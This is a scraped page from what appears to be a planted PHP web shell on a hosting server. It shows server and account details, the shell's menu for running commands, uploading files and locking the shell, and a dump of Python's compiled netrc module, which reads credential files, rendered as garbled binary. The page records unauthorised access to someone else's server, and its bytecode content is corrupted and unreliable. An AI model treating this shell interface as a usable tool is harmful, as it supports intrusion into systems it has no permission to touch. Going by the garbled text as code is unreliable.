Server IP : 82.180.170.48 / Your IP : 216.73.216.0 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/../dev/../lib64/nss/../python3.9/html/../__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
a �DOg��@sXdZddlZddlZddlZddgZGdd�de�ZGdd�d�ZedkrTe e��dS)z-An object-oriented interface to .netrc files.�N�netrc�NetrcParseErrorc@s"eZdZdZddd�Zdd�ZdS)rz5Exception raised on syntax errors in the .netrc file.NcCs"||_||_||_t�||�dS)N)�filename�lineno�msg� Exception�__init__)�selfrrr�r �/usr/lib64/python3.9/netrc.pyrszNetrcParseError.__init__cCsd|j|j|jfS)Nz%s (%s, line %s))rrr)r r r r�__str__szNetrcParseError.__str__)NN)�__name__� __module__�__qualname__�__doc__rrr r r rr s c@s.eZdZd dd�Zdd�Zdd�Zdd �ZdS)rNcCsl|du}|dur&tj�tj�d�d�}i|_i|_t|��}|�|||�Wd�n1s^0YdS)N�~z.netrc)�os�path�join� expanduser�hosts�macros�open�_parse)r �file� default_netrc�fpr r rrs znetrc.__init__cCs�t�|�}|jd7_|j�dd�|_|j}|��}}|sD�q�n�|ddkrt|j|kr(t|�dkr(|j��q(n�|dkr�|��}nt|dkr�d}nf|dkr�|��}g|j |<d |_ |j��} | r�| d kr�d|_ q(|j |�| �q�q(ntd|||j��d} d}}i|j |<|��}|�d��s.|d v�rr|�rR| ||f|j |<|�|�q(ntd||t|�f||j���q|dk�s�|dk�r�|��} �q|dk�r�|��}�q|dk�r�tjdk�r�|�r�t�|���} | jt��k�rlddl}z|�| j�d}Wnt�yd| j}Yn0z|�t���d}Wn t�yTdt��}Yn0td||f||j��| jtjtjB@�r�td||j��|��}ntd|||j���qq(dS)Nz !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~�#�r��machine�default�macdefz � z zbad toplevel token %r>rr r!r"z&malformed %s entry %s terminated by %s�login�user�account�password�posixzuid %sz9~/.netrc file owner (%s) does not match current user (%s)zY~/.netrc access too permissive: access permissions must restrict access to only the ownerzbad follower token %r)�shlexZ wordcharsZ commenters�replacerZ get_token�lenZinstream�readliner� whitespace�appendrr� startswithZ push_token�reprr�name�fstat�fileno�st_uid�getuid�pwd�getpwuid�KeyError�st_mode�stat�S_IRWXG�S_IRWXO)r rrrZlexerZsaved_linenoZtoplevel�ttZ entryname�liner$r&r'Zpropr6Zfownerr%r r rr s� � � �� ��� �znetrc._parsecCs0||jvr|j|Sd|jvr(|jdSdSdS)z8Return a (user, account, password) tuple for given host.r!N)r)r �hostr r r�authenticatorsqs znetrc.authenticatorscCs�d}|j��D]X}|j|}|d|�d|d�d�7}|drR|d|d�d�7}|d|d �d�7}q|j��D]4}|d |�d�7}|j|D]}||7}q�|d7}qr|S)z3Dump the class data in the format of a .netrc file.rzmachine z login rr#rz account z password �zmacdef )r�keysr)r Zrepr?�attrsZmacror>r r r�__repr__zs znetrc.__repr__)N)r rrrrr@rDr r r rrs Q �__main__) rrr)r:�__all__rrrr �printr r r r�<module>st